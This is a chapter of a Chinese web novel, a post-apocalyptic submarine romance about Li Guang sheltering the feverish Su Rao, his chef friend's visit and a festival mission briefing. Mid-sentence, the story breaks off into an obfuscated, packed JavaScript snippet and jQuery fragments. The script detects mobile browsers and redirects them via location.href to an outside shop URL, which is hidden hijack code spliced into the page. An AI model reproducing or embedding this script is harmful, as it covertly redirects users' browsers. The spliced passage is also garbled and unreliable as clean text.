目光里倒映着黎光刚才出门前换上的还没来得及脱的亚当号船员深黑色的制服,潜意识深处的恐惧,卷土重来。 苏娆失控尖叫, “不要过来!!” 黎光:“……” 她的害怕,不像装的。 如果说之前是温驯在主人手里吃小点心的家猫,那么现在,妥妥的就是受到了惊吓,浑身炸毛应激的野猫。 人在生病的时候,会变得脆弱,不止是身体,还有精神。 此时,在苏娆的眼里,黎光就是绝对危险的存在。 他没有原谅自己,他一直记着那个仇,要找机会报复她! 他总是突如其来地指责她,在她感到舒适心静的时候,再将她的安全感撕碎! 刚才温柔给她喂药的举动,就是铁一般的证据。 烧晕了脑袋,苏娆已然草木皆兵,虽然眼里发大水,可她仍旧没有放松警惕,死死地监视着面前男人的一举一动。 这完全就是防色.狼的眼神……黎光无奈又焦躁。 他也没想到,开个玩笑把自己折里面了。 可这又有什么办法呢,全都是他自找的。 为什么要嘴贱呐! “你看,这个是AMXL-02……这个是PN……” 黎光尽量让自己的声音保持平静温和,至少不那么像色.狼。 然后,耐心地用手指着少了一片药的一整版药,对苏娆进行解释说明,“我们平时感冒发烧都会吃,你肯定吃过……” 黎光打算用这种办法,打消她的顾虑和对他的敌意。 幸好,随着他的“药品常识科普”,苏娆的注意力,缓缓从他的脸上,转移到了那两盒药上。 “退烧药等烧退了就可以不用吃了,消炎药一天一片,吃到喉咙不痛……” 黎光试探性地将药放到苏娆面前,接着又退了回来,和她保持着她想要的安全距离, “你自己看情况吃吧。” 反正他是不会再给她喂药了。 顺着黎光的动作,苏娆的目光落在那两盒药上,亚当号潜艇上医务站里出产的药品表面包装十分简介,只有药品名和所能治疗的病症。 所以,他给她吃的根本就不是什么春.药,它们分别是退烧药和消炎药? 她只吃了一颗退烧药。 苏娆不是没见过这种区别于末世前规模化的大型药企生产的熟悉包装的药品,它们基本都是各个方舟医院自主生产合成的产物,成分可能会有变化和出入,但有一点不用怀疑。 无论在什么地方,这种能够将人从死亡线上拉回来的药,往往都是最贵的。 曾经,因一时放纵而不慎在救赎号方舟的中等自助餐厅,被变质过期的海鲜坑害,弄得食物中毒引发高烧和细菌感染的并发症的家人,没能从她带到方舟医院的那堆“价值连城”的珠宝里换回珍贵的救命药,获得生的希望…… 她现在,拥有了整整两盒!! 独享。 “这些都是给我的吗?” 仰起头,看向黎光,苏娆的声音颤抖了。 “嗯……啊。”黎光应声。 虽然觉得苏娆的表现有点怪怪的,弄得跟收到了什么礼物一样? 他送的也不是脑白金啊。 但还好,总算不是看色.狼的眼神了。 “是给你的。”黎光坚定地点头,“没错。” 话音刚落,他的肯定就仿佛是什么神明的恩赐,让苏娆立刻紧紧地把那两盒药抱在怀里不撒手。 比过年收到脑白金的爸妈还开心。 见到苏娆的态度有所松动,黎光打算趁热打铁,尽快把他那可笑的玩笑揭过去。 “你饿了吗?” 黎光问。 随即自问自答,“肯定饿了,从我走的时候到现在都没吃过东西。” 原先想的是,等到苏娆说饿,他刚好带她去吃饭。 可惜事与愿违。 “我……” 听到黎光问了,苏娆的脸色一下子变得煞白。 她又不敢撒谎,因为他早晚会发现。 “吃过东西了。” 她吃过东西了。 什么!? 吃、过、东、西、了!? 反应过来的黎光瞳孔地震,顿觉五雷轰顶。 天知道这几个字对他的杀伤力有多大。 “你在哪里吃的!?” 其实黎光想问的是,她是不是偷偷出去了。 但苏娆回答他,在客厅吃的。 于是…… 将一个空的马口铁盒子拿起来,周围还散落了一些还没有打扫干净的曲奇饼干屑。 黎光:“。”那是他藏在那里的零食,被她找到了。 你不傻呀。 看着苏娆闪躲的目光,黎光的心里竟然浮现一丝欣慰。 挺好。 既没有违反他的规定,又保障了她自身的权益,做人就要这样灵活变通。 而感冒发烧了吃零食肯定不是什么好的选择,他已经帮她点了清淡的食物,有助于她身体的恢复。 这会应该到了吧。 黎光让苏娆洗漱一下准备吃饭。 就在这时—— 叮咚,叮咚! 清脆悦耳的门铃响了起来。 打开门。 “hi!” 手指弯曲,一个饱含浓浓意呆利风情的美男正站在门口。 身上白色的制服还没来得及换,手里是大包小包的“外卖”。 厨师长亚历克斯笑容满面, 他亲自送餐上门。 感谢主顾,最近在哪儿发财呢?这么照顾他的生意,天天吃大餐! 砰! 门又关上了。 手中一空。 咻咻—— 几阵萧瑟的秋风扫落叶,亚历克斯定在原地。 黎光接过了他从厨房点的大餐,顺便将来拜访他的“好朋友”拒之门外。 他没点男模啊。 Id手环上,亚历克斯在疯狂消息轰炸。 “!LI¥#@%” “?Wh?y?” “……” 能预料得到,亚历克斯激动的情绪,可问题是,就算对方再怎么抗议,再怎么对他们之间的友谊进行质疑,他能放他进来吗? 不太、方便。 “是不是有人来了?” 苏娆听见了动静,她的目光从那扇已经重新被关上的门转移到黎光脸上。 这艘潜艇上是有其他人存在的,直到刚才那一刻,苏娆才确定。 然而,黎光一瞬间黑下来的脸和言简意赅的两个字,又让她的心跌入谷底。 “吃饭。” 她不该问,也不该好奇。 餐桌上的气氛凝固,像一团吸入肺里的厚重水泥。 面前摆着一碗粥,粥熬得很浓稠,猪肉煮得软烂,再搭配表面泛着松花纹的琥珀,就算是再没有食欲的人看到都会因记忆中味道的联想吃上一口。 粥类的食物具有浓厚的东方炎国特色,不属于亚历克斯原本的食物体系,但是,一名优秀的厨师善于打破饮食和文化的国界,将每一种自其手下烹调的食物,都带有独特的本地域风味。 所以,这是他精心准备的,用邪恶的“恶魔蛋”,烹调出来的粥,炎国特供。 当然,那里也是船长和亚当号大部分船员的家乡。 苏娆手中的勺子搅动,她做梦也想不到,这辈子还有能吃上皮蛋瘦肉粥的一天。 只是,那些散落于粥里的点点粉色肉块牵扯出一些不好的回忆,击碎了她的食欲。 这些是猪肉,同属于红肉。 她忍不住开始怀疑,这艘深海潜艇上难道还有专门的猪肉养殖场吗? 还是说,他们在末世前囤的冷冻在冰库里的红肉,一辈子都吃不完? 耳边是细微的空气调节机械的运作声,热风吹了出来,温暖了苏娆的四肢,她不再处于一阵冷一阵热的水深火热的体感中,而是处于一种令人稳定的平衡。 黎光从调节温度的中控那里过来,他告诉苏娆能够调节房间温度的开关在哪里。 但不代表他相信,作为一个成年人,而且是生活在现代社会里的人,会连空调都不知道该怎么使用。 就这么放任自己生病?又不是小孩子了。 面对黎光的质疑—— 低下头,苏娆的声音小了下去。 “我不敢碰。” 这个回答令黎光感到惊讶,空调不敢碰,曲奇饼干怎么就敢了呢? 不过,他的记忆力还算不错。 很快就想到,他有叮嘱过她,不要乱动这里的东西…… 一时间,黎光陷入了沉闷却也夹杂了一丝歉疚的混乱情绪。 “你讨厌我吗?” 眼前是苏娆凝望着他的那副楚楚可怜的眼神。 他一定是讨厌她的吧,不然他不会是这样的态度。 苏娆不否认,是这个男人救了自己。 他将她安置在安全的房间里,给她食物、水,还把自己的床让给了她。 他给了她第二次生命,一个天大的恩惠,但却没有向她索取任何东西。 唯一对她的强硬要求,大概也只是不要出那扇大门,和不要进他书房的小门罢了。 她都严格地遵守了。 然而,这点人身自由限制和他给苏娆的恩惠比起来,根本是微不足道。 付出和回报的极其不对等,会催生愤懑不平。 或许,这会是他对她忽冷忽热,若即若离的根源? 苏娆想不明白,为什么每当她对他感到失望恐惧的时候,他却又会对她细心温柔,和先前判若两人。 这样的黎光,远比对她有明确目的心怀不轨的人还要令人无所适从。 她有点无法承受自现实富足的生活之外,无形中,越来越沉重的精神重压。 她更无法承受,假如在未来的某一天,这个男人将他送给她的,她不费吹灰之力就能得到的安稳生活夺走,宛如一句话那样轻描淡写。 他又不是她的什么人。 充其量不过是有过节的旧相识。 想到这里,无法掌控自己命运的无力感,像潮水一般席卷了苏娆。 “我可以改……” 如果她真的让黎光感到厌恶的话……她会努力变成他想要的样子,因为,比起这样惶惶不可终日,整日生活在提心吊胆之中,她宁愿他能始终如一,对她一直是同样一种态度。 她想要为此做出改变,不要让自己在忧虑的泥沼中,慢性死亡。 别讨厌她。 可是,人类的悲欢并不相同,处于不同的境地里的人,心境自然也截然不同。 黎光无法体会苏娆的惶恐,作为他们这段寄生与被寄生关系里的绝对上位者,他甚至觉得有些不可思议。 他讨厌她? “你怎么会这么认为?” 认真地注视着苏娆的眼睛,妄图从中找寻到蛛丝马迹,她所认为的他讨厌她的证据…… 倾尽所有,黎光都没能找到。 “我让你误会了吗?”他问。 应该吧,有时候他对她的态度着实不能算好,不过,在他眼里,这也并不能成为她得出这样一个离谱的结论的原因。 思来想去,也只能是他对她的禁令让她感到不适了。 “你就那么想出去?” 想走出他的房间,到外面的世界去? 一提到这个,黎光的眉头不自觉皱了起来。 他的神情变得有些可怕,要是以往,苏娆绝对会乖乖闭嘴,不要在他逐渐暴躁的火苗上,再浇一把油。 但是,此时的苏娆没有什么可退缩的。 黎光一向早出晚归,回来后也不会主动和她说话,所以,与其说他们是住在一起的两个人,倒不如说只是在同一屋檐下的两个独立的生物罢了。 意识到这可能是她为数不多的,和黎光能够面对面交流的机会之一,她不想放过。 “为什么我不能出去?”苏娆追问。 当这句话问出口的一刹那,她能感觉自己的心在砰砰狂跳,快到要跳出嗓子眼了。 这是她第一次,主动的,有意识地忤逆这个男人,在他早就明确制止她对他的顶撞之后—— 黎光:“……” 到底还是让她问出了这个问题,该怎么回答她呢? 黎光的胸口憋着一股气。 无意间瞥了一眼苏娆面前那碗皮蛋瘦肉粥,很好,一口没动。 她的嘴巴又开始不好好吃饭了。 但事已至此,再对她发脾气也无济于事。 纸老虎终究是会被撕碎的。 望向苏娆,言语里意外多了几分语重心长。 原谅他,不让她离开他房间的真实原因,他没有办法告诉她。 黎光:“你只需要知道,我这么做是在保护你就好了。” 为了保护她……? 所以才不让她出门。 勉强算是得到了一个答案,深究下去,是空不见底的无底深渊。 外面一定有她想象不到的危险,这基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144316|196360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本和苏娆先前的猜想一样。 她打算见好就收,不再逼迫黎光。 趁着这个机会,她也问出了内心一直以来的疑惑。 ——为了她今后的生存。 “那你能告诉我,在这里什么能做,什么不能做吗?” “……?” 比起先前那个单刀直入的问题,黎光有些愣住了。 她该不会想要亚当号的船员准则吧? 她不会想要的。 【滴滴!滴滴!】 手环消息提示音响了起来。 苏娆朝那个方向看了过去,黎光已经将消息调了出来。 作为船长身边最亲密的一批船员,公务十分繁忙。 当黎光赶到位于潜艇顶层,整个潜艇观光风景最好的船长房间时,该到的人陆续都到了,他居然是最迟的那个。 从门口进入后,房间考究的装修让人恍若隔世,一下子忘记所处的地方,就像进了一栋古朴典雅的世家别墅。 而他们则是受到了身份尊贵地位显赫的主人的邀请,前来参加宴会的宾客。 在场的都是熟面孔,除了一见到他就亲亲热热涌上来的他的迷弟们,剩下那几个,一向看他不顺眼,互为竞争对手的红头发霍寂和他的灰毛好兄弟谭无乐皆是一脸不屑。 但私底下的交情怎样,整座潜艇权力天花板的船长不会管,只要手底下的人能维持表面的和平就够了。 在这个关键的节骨眼上,黎光不想节外生枝,直到他见到了站在船长身边,穿着深蓝色工装制服的那个气质儒雅的男人。 亚当号潜艇的机械总工程师,同时也是调度整艘潜艇资源的大管家。 连粱承宿都来了,他一向不会和他们这些船长的“近卫”,出现在同一场会议里。 黎光这才想起来,马上就要到亚当号上一年一度的“海魂节”了。 那是丰厚奖赏的来源,却也是一场生死攸关的恶战,需要每个人都打起十二万分精神才能应付的最为艰难卓绝的任务。 所有参与者都会遭到平等的来自大海深处的考验,在这种情况下,菜就是原罪。 要是不幸罹难,那只能怪自己没本事。 不过,这些困难对于在场的这些船员来说,远不到要搏命的地步。 可谁又能拒绝,一份来自“领导”、那个他们心中的神一样的偶像的关怀…… 受到关怀,哪怕只是一句问话,足可见他对他们的重视与“偏爱”。 他却只关心了黎光, 江厌:“最近身体还好吗?” 不可避免又一次变成众人瞩目的焦点,要是以往,黎光多半会很享受这种受到重视的感觉。 可现在他的心里早就怀揣了一个滚烫的大秘密,任何外界对他的注意,都会引发山崩海啸。 他不禁开始怀疑,是不是秦逸和江厌说了什么。 但是很快,他又打消了这个可笑的念头。 江厌怎么会有暗地里调查他的闲工夫……? 就这样,不动声色地将内心的慌张遮掩了过去,黎光成功等到了海魂节动员会结束,回到了家。 结果使用指纹密码一打开门,苏娆的脸马上出现在门后,就像是一直等在这里似的。 由于太过突然,以至于两人皆是懵了似的看着对方。 “……” “……” 苏娆没发现黎光回来,正如黎光不知道,她躲在门后。 “你该不会是——” 脑海里突然蹦出了某种可能性后,黎光的脸色刹那间变了。 “当然不是!” 苏娆也发现了黎光在想什么,她立刻否认,语气肉眼可见地焦急,急于为自己正名,“你不在的时候,有人敲门!” 而这,也正是她站在门后的原因。 苏娆告诉黎光,那人敲了好一阵子才走,还喊他“LI”,说话的语调有点怪怪的,炎文不太好的样子。 如果说之前黎光还想不到到底是什么人会来找他,那么现在,一切都明晰了。 他没有回复亚历克斯的质问,差点变成了一根坏事的导火索。 “那你没开门吧?” 虽然紧绷的神经松弛了下来,但保险起见,黎光还是向苏娆进行了求证。 “没有。” 苏娆摇头,她只是在门口默默地听门外闹腾的动静,却再也没有擅作主张开门。 “我很听话。” 说着,她望向黎光,这句“听话”,小声又温柔。 目光里不经意透出一丝想要得到夸奖的期待。 毫无征兆,黎光的心突然猛地一跳。 不敢再和苏娆这样的目光对视,他转过身。 “那就好。” “以后再遇到敲门的,就像今天这样当做没听见。” 不知道这样算不算是对她的夸奖,既然苏娆做出了正确的决定,那他必须趁着这个机会好好强化加深一下她的行为,这样的话,以后她都会这么做。 “万一他们进来了怎么办?” 然而,苏娆也有自己的担心。 那种待在密闭的房间里,听着外面的敲门声,装作不在家的感觉,着实不太好。 她可以不出去,但她无法控制外面的人不进来。 “不可能。” 黎光双手交叉,拉着自己的衣角,完全是习惯性动作,一回到家就脱衣服。 可偏偏今天,苏娆就在边上。 脱到一半的衣服又穿了回去,但苏娆已经看到了他的腰,好细,还有小腹上结实紧致的肌肉。 整个人上身呈现倒三角的形状,肩宽胸阔,望面前一站,就是一堵挡风的墙。 “放心。” 黎光很自信,“除非我死了。” 否则不会有人来打扰她,她完全不用为此感到担心。 说完,黎光就去洗澡了。 于是,他们今天的对话又到此为止。 也算是解决了苏娆众多担忧的其中一个。 不过自那天以后,对于黎光讨厌自己的感觉,已经在苏娆的脑海里越来越淡,取而代之的则是另一个古怪的想法。 她发现,这个男人貌似总是有意无意地和自己保持着一定的距离。 每当她静静地望着他时,不出三秒他总会别过目光,他也从不和她一起吃饭,有好几次她都见到黎光把她剩下的汤全部喝掉,一滴都不剩。 完全不像他一开始说的,才不要吃她的口水。 不过,不浪费总是好的,这是末世的美德。 虽然以前她也总能感觉得到黎光身上那股难以接近的疏离感,而现在,这种感觉变得愈发强烈,到了一种她无法忽视的程度。 他在刻意躲着她。 是么? 微微扬起脸,苏娆脑袋放空,伴随着她顺滑的四肢,瞳孔逐渐失去焦距。 有点困了。 - -作战会议室- “你想好了?” 那个独特的清冷男声,罕见地掺杂了一丝劝阻的意味。 但是,用这样的语气和自己最重视的船员说话,也并不罕见。 即便褪去了白天工作时森严的等级关系,私下里大家都是并肩作战多年的好兄弟,可好兄弟之间,却也分亲疏内外。 于公,总有人要去冒险,于私,他不想看他去冒险。 “想好了。”另一个声音回答。 既然他会来找他,就说明他早就做好了准备。 “希望您能给我这个机会。”他主动请缨。 “好。”江厌同意了。 从船长的书房里走出来之后,黎光的心情前所未有地轻松,就像一直积压在他心头的大事,完成了最重要的一步那样。 作为冒险的筹码,去换取船长的一个恩典。 如同拨开永夜浓厚乌云的一道光,照进了他的世界。 未来一片光明。 一回来没有看到苏娆,估计在房间睡觉,浴室的门没关,黎光径直走了进去,打算洗个手。 下一秒,一颗透明的泛着奇异色彩的泡泡飘到了他眼前。 “?” 回过神来,悬浮在浴室里,满屋子到处都是彩色的肥皂泡泡。 而就在那个泡泡制造机—— 放满了水的浴缸里,黎光见到了雪白绵软云朵里的彩虹。 头发慵懒地披散在骨感的肩上,咬住白皙颀长的脖颈,自脖颈之下,水平面上漂浮一层碎掉的泡泡海…… 如果这些微末的泡泡能起到些许遮挡效果的话,那么,黎光也不会在注意到浴缸的一瞬间就发现,苏娆什么都没穿。 “……” 她被他,看光了。